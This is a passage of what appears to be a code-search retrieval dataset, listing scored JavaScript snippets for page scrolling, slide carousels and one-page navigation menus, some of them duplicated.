document.querySelector('.front-sentinel');\n let move = revolver.style.left;\n carousel.style.transform = 'translateX(-' + move + ')';\n current.classList.remove('active')\n revolver.classList.add('active')\n return \n }\n else {\n let move = next.style.left\n carousel.style.transform = 'translateX(-' + move + ')';\n current.classList.remove('active');\n next.classList.add('active');\n }\n}", "title": "" }, { "docid": "23010ac650cb5e4945d7987aabce9790", "score": "0.65631586", "text": "function scrollSlider(slide){\r\n if(slide != null){\r\n landscapeScroll(closest(slide, SLIDES_WRAPPER_SEL), slide);\r\n }\r\n }", "title": "" }, { "docid": "796263f66924ec6a1e026923c1334800", "score": "0.6561956", "text": "function _slideToElement() {\n $('html, body').animate({\n scrollTop: $('.row').offset().top\n }, 700);\n }", "title": "" }, { "docid": "b2f1035a674b11304cdfb769e0444748", "score": "0.6546398", "text": "function scrollSlider(slide){\n if(slide.length){\n landscapeScroll(slide.closest(SLIDES_WRAPPER_SEL), slide);\n }\n }", "title": "" }, { "docid": "e9af488b3d931c130ebc9d6d200937f7", "score": "0.65413624", "text": "function scrollNav() {\n const href = document.location.pathname;\n const siteNav = document.getElementById('site-nav');\n const targetLink = siteNav.querySelector('a[href=\"' + href + '\"], a[href=\"' + href + '/\"]');\n if(targetLink){\n const rect = targetLink.getBoundingClientRect();\n siteNav.scrollBy(0, rect.top - 3*rect.height);\n }\n}", "title": "" }, { "docid": "2b6ed63821ef38ad2815c5b01025f893", "score": "0.65407705", "text": "function scrollTo(slide){\n\t\t//if scrolling to the end\n\t\t/*if(currentSlide==SLIDES-1)\n\t\t\tscrollTo(0);*/\n\t\t\n\t\t//top offset of next slide\n\t\tvar loc = $('.slide[data-slide=\"' + slide + '\"]').offset().top;\n\t\t//calculate the amount of time to scroll for\n\t\tvar time = Math.abs(500*(slide-currentSlide));\n\t\t//animate\n\t\t/*if(time<800*SLIDES/4)\n\t\t\t$(\"body,html\").animate({scrollTop: loc},time,\"easeOutExpo\");\n\t\telse */\n\t\t$(\"body,html\").animate({scrollTop: loc},time);\n\t}", "title": "" }, { "docid": "d81f14f624d2b17b2d279b27b4772168", "score": "0.65055835", "text": "function goToByScroll(dataslide) {\r\n\t\tvar offset_top;\r\n\r\n\t\tif( dataslide == 1 )\r\n\t\t\toffset_top = \"-10px\";\r\n\t\telse if( dataslide == 2 )\r\n\t\t\t\toffset_top = \"900px\";\r\n\t\telse if( dataslide == 4 )\r\n\t\t\t\toffset_top = \"1870px\";\r\n\t\telse if( dataslide == 5 )\r\n\t\t\t\toffset_top = \"2650px\";\r\n\t\telse if( dataslide == 6 )\r\n\t\t\t\toffset_top = \"900px\";\r\n\t\t\r\n\t\thtmlbody.stop(false, false).animate({\r\n\t\t\tscrollTop: offset_top\r\n\t\t}, 1800, 'easeInOutQuart');\r\n\t}", "title": "" }, { "docid": "b45814c77d4ca752a0dadbc0b2d91f06", "score": "0.65011454", "text": "function scrolldown (){\r\n \t\t\t $('.scroller', cont).slimScroll({\r\n scrollTo: list.height()\r\n });\r\n \t\t}", "title": "" }, { "docid": "ab05e2095bd3b9fa3567286da78df412", "score": "0.64817595", "text": "function scrollNavigation() {\n let section = document.querySelectorAll('section');\n let sections = {};\n let i = 0;\n let scrollPosition = document.documentElement.scrollTop || document.body.scrollTop;\n\n Array.prototype.forEach.call(section, function (e) {\n sections[e.id] = e.offsetTop;\n });\n\n for (i in sections) {\n if (sections[i] <= scrollPosition) {\n if (document.querySelector('.active')) {\n document.querySelector('.active').classList.remove('active');\n if(img){\n document.querySelector('a[href*=\\\\#' + i + ']').classList.add('active');\n }\n } else {\n if(img) {\n document.querySelector('a[href*=\\\\#' + i + ']').classList.add('active');\n }\n }\n }\n }\n }", "title": "" }, { "docid": "049889482ed293f60cb7b504d0cae333", "score": "0.6472416", "text": "function scrollAnimation() {\n\n\t\t// $('a:not(.tm-portfolio-filter ul li a):not(.tm-portfolio-item .item-inner):not(.services a)').on('click', function(event) {\n\t\t// \tvar $anchor = $(this);\n\t\t// \t$('html, body').stop().animate({\n\t\t// \t\tscrollTop: ($($anchor.attr('href')).offset().top - 30)\n\t\t// \t\t}, 1250, 'easeInOutExpo');\n\t\t// \t\tevent.preventDefault();\n\t\t// });\n\n\t}", "title": "" }, { "docid": "4a960f75822eb564aa429d54870edda6", "score": "0.6457772", "text": "function setScrollNavActive() {\n $('#js-scroll-indicator a').removeClass('js-active');\n $('#js-scroll-indicator a').eq(testScrollTargetIndex).addClass('js-active');\n }", "title": "" }, { "docid": "bd25e4ae1cb6372932a8fd5fb17dd6cf", "score": "0.6456327", "text": "function setup_navigation() {\n\n // Navegación top\n $('.linkScroll').click(function(event){\n event.preventDefault();\n \n $new_section = $( $(this).attr('href') );\n\n scroll_to( (-1)*($new_section.attr('data-topPos') ) );//$new_section.offset().top+ parseInt($new_section.data('offset'))\n });\n \n}", "title": "" }, { "docid": "6a5661fe632390ef2d93bbc436980ebf", "score": "0.6456035", "text": "function iniAutoScroll() {\n // auto scroll initieel starten\n startAutoScroll();\n }", "title": "" }, { "docid": "6a610cd374e2bca14dab98b359e870cd", "score": "0.64408386", "text": "function clickedNav(element) {\n\tscrollToPage(element.id.replace(\"nav-\", \"\"));\n}", "title": "" }, { "docid": "1b11e7ef426f71bd13ef295993505382", "score": "0.6438086", "text": "function navJumpFix() {\n window.scrollTo(0, 2);\n stickyNav();\n}", "title": "" }, { "docid": "6321b6ba595fc4e5abb9d061e64cbc79", "score": "0.6434834", "text": "function $ScrollToStart() {\n var $box = document.getElementById(\"inicio_page\");\n $box.scrollIntoView({behavior: \"smooth\"});\n}", "title": "" }, { "docid": "3b52b1532bd606068a2d5a7778497846", "score": "0.6434619", "text": "function goSlide(event){\n\tvar index = event.source.mod;\t\n\tvar arrViews = $.scrollableView.getViews();\n\t\n\tmoveHoverTo(index);\n\tsetTitle(index);\n\t\n\t$.scrollableView.scrollToView(arrViews[index]);\n}", "title": "" }, { "docid": "ea9a91b27f2b58f6f7a6f3dd2befd666", "score": "0.6432575", "text": "function scroll(){\n navbar.addEventListener(\"click\", function(evt){\n let anchor = document.querySelector(\"#\" + evt.target.getAttribute(\"data-nav\"));\n anchor.scrollIntoView({behavior: \"smooth\"});\n });\n}", "title": "" }, { "docid": "6d8ad35f8933de4e9c6280657ab81c88", "score": "0.6421312", "text": "function navigationScroll(e) {\n let href = e.target.getAttribute('href');\n $('html, body').animate({\n scrollTop: ($(href).offset().top - 70) // 70 is the height of the navigation bar\n }, 500);\n }", "title": "" }, { "docid": "9191f49c948c5f165bcae58dee39c1f8", "score": "0.64212835", "text": "function quickSlide() {\n\t\t\t\t$objectCache.grid.scrollTo('.row-' + activeFrame.row + ' > .col-' + activeFrame.col, 750, {\n\t\t\t\t\teasing: 'easeOutExpo'\n\t\t\t\t});\n\t\t\t}", "title": "" }, { "docid": "2cdaa3e70d430494337a1746650fac41", "score": "0.6419647", "text": "function scrollingNav() {\n\t\tvar myButtons = document.getElementsByTagName(\"button\");\n\t\t\n\t\tvar aboutHeight = getYPosition(document.getElementById('about'));\n\t\tvar productHeight = getYPosition(document.getElementById('product'));\n\t\tvar gallerytHeight = getYPosition(document.getElementById('gallery'));\n\t\tvar contacttHeight = getYPosition(document.getElementById('contact'));\n\t\t\n\t\tvar yPosition = [aboutHeight.y, productHeight.y, gallerytHeight.y, contacttHeight.y];\n\t\t\n\t\tfor (var i = 0; i < myButtons.length; i++){\n\t\t\tdocument.getElementsByTagName(\"button\")[i].addEventListener('click', function(e){\n\t\t\t\tif(e.target.innerText === \"About\"){\n\t\t\t\t\twindow.scroll({\n\t\t\t\t\t\ttop: yPosition[0], \n\t\t\t\t\t\tleft: 0, \n\t\t\t\t\t\tbehavior: \"smooth\"\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\tif(e.target.innerText === \"Why our Products?\"){\n\t\t\t\t\twindow.scroll({\n\t\t\t\t\t\ttop: yPosition[1], \n\t\t\t\t\t\tleft: 0, \n\t\t\t\t\t\tbehavior: \"smooth\"\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\tif(e.target.innerText === \"Gallery\"){\n\t\t\t\t\twindow.scroll({\n\t\t\t\t\t\ttop: yPosition[2], \n\t\t\t\t\t\tleft: 0, \n\t\t\t\t\t\tbehavior: \"smooth\"\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\tif(e.target.innerText === \"Contact\"){\n\t\t\t\t\twindow.scroll({\n\t\t\t\t\t\ttop: yPosition[3], \n\t\t\t\t\t\tleft: 0, \n\t\t\t\t\t\tbehavior: \"smooth\"\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\t/* uncomment for testing purposes\n\t\t\t\t\tconsole.log(e);\n\t\t\t\t*/\n\t\t\t});\n\t\t}\n\t}", "title": "" }, { "docid": "569cb0748ab7ab81129e5defb4d1f982", "score": "0.641809", "text": "function scrollTo() {\n let nav = document.getElementsByTagName(\"LI\");\n for (let i = 0; i < nav.length; i++) {\n nav[i].addEventListener(\"click\", () => scrollPage(i));\n }\n}", "title": "" }, { "docid": "0a9549312cd46663e47f2d6d7fa8f402", "score": "0.64085895", "text": "function slide(){\n\tdocument.getElementById(\"pages\").style.width='200px'; //makes the width of nav bar 200 pixels\n/*\tif(chk.style.display === 'none'){\n\t\tchk.style.display = 'block';\n\t}else{\n\t\tchk.style.display = 'none';\t\n\t}*/\n}", "title": "" }, { "docid": "e8d5d7a9b4453e8b7e06c348c390a460", "score": "0.64004767", "text": "function slideTo(index) {\n\t\t slide(index);\n\t\t }", "title": "" }, { "docid": "bea32c149e36d538ab72aa47f284b177", "score": "0.6396759", "text": "slide(passar){\n if(passar.deltaX>0){\n this.getAntecedentes();\n this.getAlergias();\n this.getVacinas();\n this.nav.setRoot(IdentificacaoPage,{parametro: this.paciente});\n }else if(passar.deltaX<0){\n this.getAntecedentes();\n this.getAlergias();\n this.getVacinas();\n this.nav.setRoot(AvaliacaoNeurologicaPage,{parametro: this.paciente});\n }\n }", "title": "" }, { "docid": "6ac6c5c49fbcb8ebc5eca2d06c9468a5", "score": "0.63919353", "text": "function onDownArrowClick(){ \n$.scrollTo($(\".statementContainer\"),1000);\n//$(\"body\").localScroll($(\".parallaxContainer\"));\n}", "title": "" }, { "docid": "b37533d586cefa7c84a86bb49be0ede1", "score": "0.63800657", "text": "function startAutoScroll() {\n // de class \"autoScrolling\" toevoegen aan de carrousel\n carrousel.classList.add(\"autoScrolling\");\n\n // een timer aanzetten\n autoScrollTimer = setInterval(function () {\n // als de timer afgaat naar het volgende element gaan\n goToElement(\"next\");\n }, autoScrollInterval);\n\n }", "title": "" }, { "docid": "269a14a87872eb376e444a28ef237588", "score": "0.63701713", "text": "function singlePage(){\n // Navigation\n $('article.panel').hide();\n $('article.panel').eq(0).show();\n $('header .nav a').not('header .nav li:last-child a').on('click',function(){\n \n var now = $(this).parent().index();\n\n $('header .nav a').removeClass('active');\n $(this).addClass('active');\n\n $('article.panel').hide();\n $('article.panel').eq(now).fadeIn();\n\n // Nanoscroller\n $(\".nano\").nanoScroller();\n\n // Collapsable \n $(\".collapse\").collapse();\n\n });\n}", "title": "" }, { "docid": "22e236af16217a5770fe3c6fce5ee0be", "score": "0.6364766", "text": "startAutoScroll() {\n this.#autoScrollIsActive = true;\n this.#scrollBanner.style.visibility = 'hidden';\n this.scrollToTopOfContainer(this.#currentElement);\n }", "title": "" }, { "docid": "974a7cf21cb8c026d2b3b970a83879c5", "score": "0.634728", "text": "function jump() {\n $('nav ul li a').click(function () {\n event.preventDefault();\n let str = $(this).parents().index();\n if (str == 0) {\n $('body,html').animate({\n scrollTop: f1 - ht\n });\n }\n if (str == 1) {\n $('body,html').animate({\n scrollTop: f2 - ht\n });\n }\n if (str == 2) {\n $('body,html').animate({\n scrollTop: f3 - ht\n });\n }\n if (str == 3) {\n $('body,html').animate({\n scrollTop: f4 - ht\n });\n }\n if (str == 4) {\n $('body,html').animate({\n scrollTop: f5 - ht\n });\n };\n })\n}", "title": "" }, { "docid": "941642fc214fec2015088aca111dfc3f", "score": "0.63466483", "text": "function setup() {\n // cache slides\n slides = Array.prototype.slice.call(scrollElement.children, 0);\n slidesLength = slides.length;\n if (!slidesLength) return;\n\n // 滚动容器的宽度 \n slides.forEach(function (slide, index) {\n scrollElementWidth += outerWidth(slide);\n });\n scrollElementWidth = Math.round(scrollElementWidth);\n scrollElementWidth = scrollElementWidth % 2 == 0 ? scrollElementWidth : scrollElementWidth + 1;\n scrollElement.style.width = scrollElementWidth + 'px';\n\n // set continuous to false if only one slide\n // continuous = slides.length < 2 ? false : options.continuous;\n\n //special case if two slides\n // if (browser.transitions && continuous && slides.length < 3) {\n // element.appendChild(slides[0].cloneNode(true));\n // element.appendChild(element.children[1].cloneNode(true));\n // slides = element.children;\n // }\n // 视窗的宽度\n viewportWidth = document.documentElement.getBoundingClientRect().width;\n // 可以滚动的距离\n canScrollDelta = Math.round(scrollElementWidth - viewportWidth);\n canScrollDelta = canScrollDelta % 2 == 0 ? canScrollDelta : canScrollDelta + 1;\n // create an array to store current positions of each slide // slidePos = new Array(slides.length); // determine width of each slide // width = Math.round(container.getBoundingClientRect().width || container.offsetWidth); // element.style.width = (slides.length * width) + 'px'; // element.style.width = 500 + 'px'; // stack elements\n // var pos = slides.length;\n // while(pos--) {\n\n // var slide = slides[pos];\n\n // slide.style.width = 500 + 'px';\n // slide.setAttribute('data-index', pos);\n\n // if (browser.transitions) {\n // slide.style.left = (pos * -width) + 'px';\n // move(pos, index > pos ? -width : (index < pos ? width : 0), 0);\n // }\n // }\n\n // reposition elements before and after index\n // if (continuous && browser.transitions) {\n // move(circle(index-1), -width, 0);\n // move(circle(index+1), width, 0);\n // }\n\n // if (!browser.transitions) element.style.left = (index * -width) + 'px';\n\n // container.style.visibility = 'visible';\n }", "title": "" }, { "docid": "aeaa32ebdd13f08e6b1fcc2d130bdc85", "score": "0.633968", "text": "function scrollIt(el){\n \tvar $html \t\t\t= $('html, body'),\n \t\t$activeSection \t= $('.activeSection'),\n \t\t$distance\t\t= 0;\n\n \t// Check which anchor was clicked\n \tif ( el.classList.contains('prevSlide') ) {\n \t\t$distance = $activeSection.prev().length ? $activeSection.prev().offset().left : 0\n \t} else {\n \t\t$distance = $activeSection.next().length ? $activeSection.next().offset().left : 0\n \t}\n\n \t// scroll it!\n \tscrollToX($distance, 1500, 'easeInOutSine');\n\n \t// Focus on section after scrollToX\n \tsetTimeout(function(){\n \t\t// Have to look up active section again\n \t\t$('.activeSection').focus()\n \t}, 1000)\n\n }", "title": "" }, { "docid": "587eb1a35533c5f4ffdb036b9eab8f5e", "score": "0.63388175", "text": "function slidein() {\n nav.style.transform = \"translate(100%)\";\n navButtonContainer.style.transform = \"translate(100%)\";\n onpage = true;\n}", "title": "" }, { "docid": "3453b37b22ebd024039921c080456464", "score": "0.633763", "text": "function addLinkSlider() {\n const navLinks = document.querySelectorAll('.navText');\n\n for (link of navLinks) {\n const sectionSelector = link.getAttribute('href');\n link.setAttribute('href', '');\n const section = document.querySelector(sectionSelector);\n link.onclick = function (event) {\n event.preventDefault();\n const navbarHeight = document.getElementById('navBar').offsetHeight;\n window.scrollTo({\n top: section.offsetTop - (0.66 * navbarHeight),\n behavior: 'smooth',\n });\n };\n };\n }", "title": "" }, { "docid": "13833f17f170241a99a4d0b38d1dd00c", "score": "0.63354856", "text": "scrollToSection() {\n this.navMenu.childNodes.forEach( (child) => {\n child.addEventListener( 'click' , (e) => {\n e.preventDefault();\n \n let secToGo = document.getElementById(e.target.dataset.nav__id);\n secToGo.scrollIntoView({behavior: \"smooth\"});\n addActiveClass(secToGo);\n });\n });\n }", "title": "" }, { "docid": "24a9ccba54ff5b59cf233494d2c6c894", "score": "0.6329126", "text": "function scrollSlider(section, slide){\r\n\t\t\tif(typeof slide != 'undefined'){\r\n\t\t\t\tvar slides = section.find('.slides');\r\n\t\t\t\tvar destiny = slides.find('[data-anchor=\"'+slide+'\"]');\r\n\r\n\t\t\t\tif(!destiny.length){\r\n\t\t\t\t\tdestiny = slides.find('.slide').eq(slide);\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif(destiny.length){\r\n\t\t\t\t\tlandscapeScroll(slides, destiny);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}", "title": "" }, { "docid": "24a9ccba54ff5b59cf233494d2c6c894", "score": "0.6329126", "text": "function scrollSlider(section, slide){\r\n\t\t\tif(typeof slide != 'undefined'){\r\n\t\t\t\tvar slides = section.find('.slides');\r\n\t\t\t\tvar destiny = slides.find('[data-anchor=\"'+slide+'\"]');\r\n\r\n\t\t\t\tif(!destiny.length){\r\n\t\t\t\t\tdestiny = slides.find('.slide').eq(slide);\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif(destiny.length){\r\n\t\t\t\t\tlandscapeScroll(slides, destiny);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}", "title": "" }, { "docid": "fcbb2c48ba5577cdfc1cacebf47bd244", "score": "0.6328928", "text": "function scrollPageAndSlide(destiny, slide){\r\n\t\t\tif (typeof slide === 'undefined') {\r\n\t\t\t slide = 0;\r\n\t\t\t}\r\n\r\n\t\t\tif(isNaN(destiny)){\r\n\t\t\t\tvar section = $('[data-anchor=\"'+destiny+'\"]');\r\n\t\t\t}else{\r\n\t\t\t\tvar section = $('.section').eq( (destiny -1) );\r\n\t\t\t}\r\n\r\n\r\n\t\t\t//we need to scroll to the section and then to the slide\r\n\t\t\tif (destiny !== lastScrolledDestiny && !section.hasClass('active')){\r\n\t\t\t\tscrollPage(section, function(){\r\n\t\t\t\t\tscrollSlider(section, slide)\r\n\t\t\t\t});\r\n\t\t\t}\r\n\t\t\t//if we were already in the section\r\n\t\t\telse{\r\n\t\t\t\tscrollSlider(section, slide);\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}", "title": "" }, { "docid": "fcbb2c48ba5577cdfc1cacebf47bd244", "score": "0.6328928", "text": "function scrollPageAndSlide(destiny, slide){\r\n\t\t\tif (typeof slide === 'undefined') {\r\n\t\t\t slide = 0;\r\n\t\t\t}\r\n\r\n\t\t\tif(isNaN(destiny)){\r\n\t\t\t\tvar section = $('[data-anchor=\"'+destiny+'\"]');\r\n\t\t\t}else{\r\n\t\t\t\tvar section = $('.section').eq( (destiny -1) );\r\n\t\t\t}\r\n\r\n\r\n\t\t\t//we need to scroll to the section and then to the slide\r\n\t\t\tif (destiny !== lastScrolledDestiny && !section.hasClass('active')){\r\n\t\t\t\tscrollPage(section, function(){\r\n\t\t\t\t\tscrollSlider(section, slide)\r\n\t\t\t\t});\r\n\t\t\t}\r\n\t\t\t//if we were already in the section\r\n\t\t\telse{\r\n\t\t\t\tscrollSlider(section, slide);\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}", "title": "" }, { "docid": "bd69c36a129bca708bc2b54d492a4b6c", "score": "0.63283026", "text": "function scrollPageAndSlide(destiny, slide){\n var section = getSectionByAnchor(destiny);\n\n //do nothing if there's no section with the given anchor name\n if(!section.length) return;\n\n //default slide\n if (typeof slide === 'undefined') {\n slide = 0;\n }\n\n //we need to scroll to the section and then to the slide\n if (destiny !== lastScrolledDestiny && !section.hasClass(ACTIVE)){\n scrollPage(section, function(){\n scrollSlider(section, slide);\n });\n }\n //if we were already in the section\n else{\n scrollSlider(section, slide);\n }\n }", "title": "" }, { "docid": "bd69c36a129bca708bc2b54d492a4b6c", "score": "0.63283026", "text": "function scrollPageAndSlide(destiny, slide){\n var section = getSectionByAnchor(destiny);\n\n //do nothing if there's no section with the given anchor name\n if(!section.length) return;\n\n //default slide\n if (typeof slide === 'undefined') {\n slide = 0;\n }\n\n //we need to scroll to the section and then to the slide\n if (destiny !== lastScrolledDestiny && !section.hasClass(ACTIVE)){\n scrollPage(section, function(){\n scrollSlider(section, slide);\n });\n }\n //if we were already in the section\n else{\n scrollSlider(section, slide);\n }\n }", "title": "" }, { "docid": "850a0642e8bb59d40cf2995483fbf97b", "score": "0.6316982", "text": "function scrollPageAndSlide(destiny, slide){\r\n\t\t\tif (typeof slide === 'undefined') {\r\n\t\t\t slide = 0;\r\n\t\t\t}\r\n\r\n\t\t\tif(isNaN(destiny)){\r\n\t\t\t\tvar section = $('[data-anchor=\"'+destiny+'\"]');\r\n\t\t\t}else{\r\n\t\t\t\tvar section = $('.fp-section').eq( (destiny -1) );\r\n\t\t\t}\r\n\r\n\r\n\t\t\t//we need to scroll to the section and then to the slide\r\n\t\t\tif (destiny !== lastScrolledDestiny && !section.hasClass('active')){\r\n\t\t\t\tscrollPage(section, function(){\r\n\t\t\t\t\tscrollSlider(section, slide)\r\n\t\t\t\t});\r\n\t\t\t}\r\n\t\t\t//if we were already in the section\r\n\t\t\telse{\r\n\t\t\t\tscrollSlider(section, slide);\r\n\t\t\t}\r\n\r\n\t\t}", "title": "" }, { "docid": "94fbf54cf8110025ec6a2b56a0298798", "score": "0.63118416", "text": "function contentMenuScrollTo(){\n\t\"use strict\";\n\n\tif($j('nav.content_menu').length){\n\n\t\t$j(\"nav.content_menu ul.menu li a\").on('click', function(e){\n\t\t\te.preventDefault();\n\t\t\tvar $this = $j(this);\n\n\t\t\tif($j(this).parent().hasClass('active')){\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tvar $target = $this.attr(\"href\");\n\t\t\tvar targetOffset = $j(\"div.wpb_row[data-q_id='\" + $target + \"'],section.parallax_section_holder[data-q_id='\" + $target + \"']\").offset().top - content_line_height - content_menu_top - content_menu_top_add;\n\t\t\t$j('html,body').stop().animate({scrollTop: targetOffset }, 500, 'swing', function(){\n\t\t\t\t$j('nav.content_menu ul li').removeClass('active');\n\t\t\t\t$this.parent().addClass('active');\n\t\t\t});\n\n\t\t\treturn false;\n\t\t});\n\n\t}\n}", "title": "" }, { "docid": "61677d672b1282906d09ed629e029b54", "score": "0.6311736", "text": "function scrollSlider(section, slide){\r\n\t\t\tif(typeof slide != 'undefined'){\r\n\t\t\t\tvar slides = section.find('.fp-slides');\r\n\t\t\t\tvar destiny = slides.find('[data-anchor=\"'+slide+'\"]');\r\n\r\n\t\t\t\tif(!destiny.length){\r\n\t\t\t\t\tdestiny = slides.find('.fp-slide').eq(slide);\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif(destiny.length){\r\n\t\t\t\t\tlandscapeScroll(slides, destiny);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}", "title": "" }, { "docid": "8e6e67612ddd5ff502e5fcbbe7e596c3", "score": "0.6306293", "text": "function scrollPageAndSlide(destiny, slide){\r\n var section = getSectionByAnchor(destiny);\r\n\r\n //do nothing if there's no section with the given anchor name\r\n if(!section.length) return;\r\n\r\n //default slide\r\n if (typeof slide === 'undefined') {\r\n slide = 0;\r\n }\r\n\r\n //we need to scroll to the section and then to the slide\r\n if (destiny !== lastScrolledDestiny && !section.hasClass(ACTIVE)){\r\n scrollPage(section, function(){\r\n scrollSlider(section, slide);\r\n });\r\n }\r\n //if we were already in the section\r\n else{\r\n scrollSlider(section, slide);\r\n }\r\n }", "title": "" }, { "docid": "281ecee6211971bc391b78f2f4d7ebca", "score": "0.62914157", "text": "function autoScroll() {\n $('a[href*=#]:not([href=#])').click(function() {\n if (location.pathname.replace(/^\\//,') == this.pathname.replace(/^\\//,') && location.hostname == this.hostname) {\n var target = $(this.hash);\n target = target.length ? target : $('[name=' + this.hash.slice(1) +']');\n if (target.length) {\n $('html,body').animate({\n scrollTop: target.offset().top\n }, 1200);\n return false;\n }\n }\n });\n }", "title": "" }, { "docid": "8dbd0346f846995533a405e36c784b90", "score": "0.62884426", "text": "function scrollTop() {\n $(\".top\").on('click', function () {\n $('html, body').animate({\n scrollTop: ($('.nav-section').offset().top)\n }, 1000);\n })\n }", "title": "" }, { "docid": "925973dcbb914e20665bb6c12d79ece8", "score": "0.62838024", "text": "function onePageFixedNav() {\n\t if($('body').length){\n\t // Add scrollspy to\n\t $('body').scrollspy({target: \".theme-main-header\", offset: 1000});\n\n\t // Add smooth scrolling on all links inside the one-page-menu\n\t $(\".one-page-menu li a\").on('click', function(event) {\n\t // Make sure this.hash has a value before overriding default behavior\n\t if (this.hash !== \"\") {\n\t // Prevent default anchor click behavior\n\t event.preventDefault();\n\n\t // Store hash\n\t var hash = this.hash;\n\n\t // Using jQuery's animate() method to add smooth page scroll\n\t // The optional number (800) specifies the number of milliseconds it takes to scroll to the specified area\n\t $('html, body').animate({\n\t scrollTop: $(hash).offset().top\n\t }, 1000, function(){\n\n\t // Add hash (#) to URL when done scrolling (default click behavior)\n\t window.location.hash = hash;\n\t });\n\t } // End if\n\t });\n\t }\n\t}", "title": "" }, { "docid": "c6bd98c61ab8c30ce33579911c5069bd", "score": "0.62836903", "text": "function slideDownFaq() {\n document.querySelector('#faq').scrollIntoView()\n}", "title": "" }, { "docid": "c53666c4d978ce83f6ce4271f4501564", "score": "0.62809026", "text": "function singlePageMenu(){\n\t\t$('.navbar').each(function(){\n\n\t\t\t\tvar $active, $content, $links = $(this).find('a.on'),\n\t\t\t\t$li = $(this).find('a').closest('li');\n\t\t\t\n\t\t\t\t$active = $($links.filter('[href=\"'+location.hash+'\"]')[0] || $links[0]);\n\t\t\t\t$content = $($active.attr('href'));\n\t\t\t\n\t\t\t\t$(this).on('click', 'a', function(e){\n\t\t\n\t\t\t\t\t$li.removeClass('active');\n\t\t\t\n\t\t\t\t\t$active = $(this);\n\t\t\t\t\t$content = $($(this).attr('href'));\n\t\n\t\t\t\t\t$(this).closest('li').addClass('active');\n\t\t\t\t\t$(\"body,html\").animate({scrollTop:$content.position().top + 1}, 1000);\n\t\t\t\t\t\n\t\t\t\t\te.preventDefault();\n\t\t\t\t});\n\t\t});\n\t}", "title": "" }, { "docid": "b9715d6e1f61d17ef877e7afc0788045", "score": "0.627253", "text": "function panelScroll() {\n\n var scrollArea = $('.navbar-sm');\n var toScroll = $('.panel a');\n\n toScroll.each(function() {\n var clicked = $(this);\n clicked.on('click', function () {\n var leftOffset = clicked.offset().left-10 - scrollArea.offset().left-10 + scrollArea.scrollLeft(); // .left-10 for padding\n scrollArea.animate({ scrollLeft: leftOffset }, 800);\n });\n }); \n }", "title": "" }, { "docid": "b51645e5529bbebafb009580450a17cf", "score": "0.62702036", "text": "function Scroll() {\n\tif ($(window).scrollTop() > 0)\n\t\t$(\"header\").addClass(\"nm-bg\")\n\telse\n\t\t$(\"header\").removeClass(\"nm-bg\")\n\t\n\tvar scrollPos = $(document).scrollTop();\n $('body:not(#nm-inner-page) nav a').each(function () {\n var currLink = $(this);\n var refElement = $(currLink.attr(\"href\"));\n if (refElement.position().top-40 <= scrollPos && refElement.position().top-40 + refElement.outerHeight() > scrollPos) {\n $('nav ul li').removeClass(\"current\");\n currLink.parent(\"li\").addClass(\"current\")\n }\n else\n currLink.parent(\"li\").removeClass(\"current\")\n })\n}", "title": "" }, { "docid": "c99b192dbb8414e20605382509ee8d0e", "score": "0.62618977", "text": "function mk_main_nav_scroll() {\n\n\n \"use strict\";\n\n //console.log(window.location.href.split('#')[0]);\n var lastId, topMenu = $(\"#mk-main-navigation, .mk-vm-menu\"),\n menuItems = topMenu.find(\".menu-item a\");\n\n\n menuItems.each(function() {\n //console.log();\n var href_attr = $(this).attr('href');\n\n\n if (typeof href_attr !== 'undefined' && href_attr !== false) {\n var href = $(this).attr(\"href\").split('#')[0];\n $(this).addClass(\"one-page-nav-item\");\n } else {\n href = \"\";\n }\n\n\n /* if(typeof $(this).attr(\"href\").split('#')[1] != 'undefined') {\n $(this).addClass(\"one-page-nav-item\");\n }*/\n\n if (href == window.location.href.split('#')[0] && (typeof $(this).attr(\"href\").split('#')[1] != 'undefined')) {\n //console.log($(this).attr(\"href\").split('#')[1]);\n $(this).attr(\"href\", \"#\" + $(this).attr(\"href\").split('#')[1]);\n $(this).parent().removeClass(\"current-menu-item\");\n }\n\n\n });\n\n var onePageMenuItems = $('.one-page-nav-item'),\n wp_admin_height = 0,\n header_height = 0;\n\n var scrollItems = onePageMenuItems.map(function() {\n var item = $(this).attr(\"href\");\n if (/^#\\w/.test(item) && $(item).length) {\n return $(item);\n }\n });\n\n\n if ($.exists(\"#wpadminbar\")) {\n wp_admin_height = $(\"#wpadminbar\").height();\n }\n\n if (!$.exists('.mk-vm-menuwrapper')) {\n header_height = parseInt($('#mk-header').attr('data-sticky-height'));\n }\n\n\n\n onePageMenuItems.click(function(e) {\n var href = $(this).attr(\"href\");\n if (typeof $(href).offset() != 'undefined') {\n var href_top = $(href).offset().top;\n } else {\n var href_top = 0;\n }\n\n if ($.exists(\"#wpadminbar\")) {\n var wp_admin_height = $(\"#wpadminbar\").height();\n // console.log(wp_admin_height);\n } else {\n wp_admin_height = 0;\n }\n\n if ($(window).width() <= mk_responsive_nav_width) {\n header_height = 0;\n }\n\n var offsetTop = href === \"#\" ? 0 : href_top - (wp_admin_height + header_height - 1);\n\n $('html, body').stop().animate({\n scrollTop: offsetTop\n }, {\n duration: 1200,\n easing: \"easeInOutExpo\"\n });\n //TweenLite.to(window, 1.2, {scrollTo:{y: offsetTop}, ease:Expo.easeInOut});\n\n e.preventDefault();\n });\n\n\n new ChopScroll(function() {\n if (!scrollItems.length) return false;\n var fromTop = $(window).scrollTop() + (wp_admin_height + header_height);\n var cur = scrollItems.map(function() {\n if ($(this).offset().top - 200 < fromTop) return this; // This is purely empirical - we don't look at the top of screen but a little bit lower, so lets switch section at this point.\n });\n cur = cur[cur.length - 1];\n var id = cur && cur.length ? cur[0].id : \"\";\n\n if (lastId !== id) {\n lastId = id;\n\n onePageMenuItems.parent().removeClass(\"current-menu-item current-menu-ancestor current-menu-parent\");\n if (id.length) {\n onePageMenuItems.filter(\"[href=#\" + id + \"]\").parent().addClass(\"current-menu-item\");\n }\n }\n }, 200);\n}", "title": 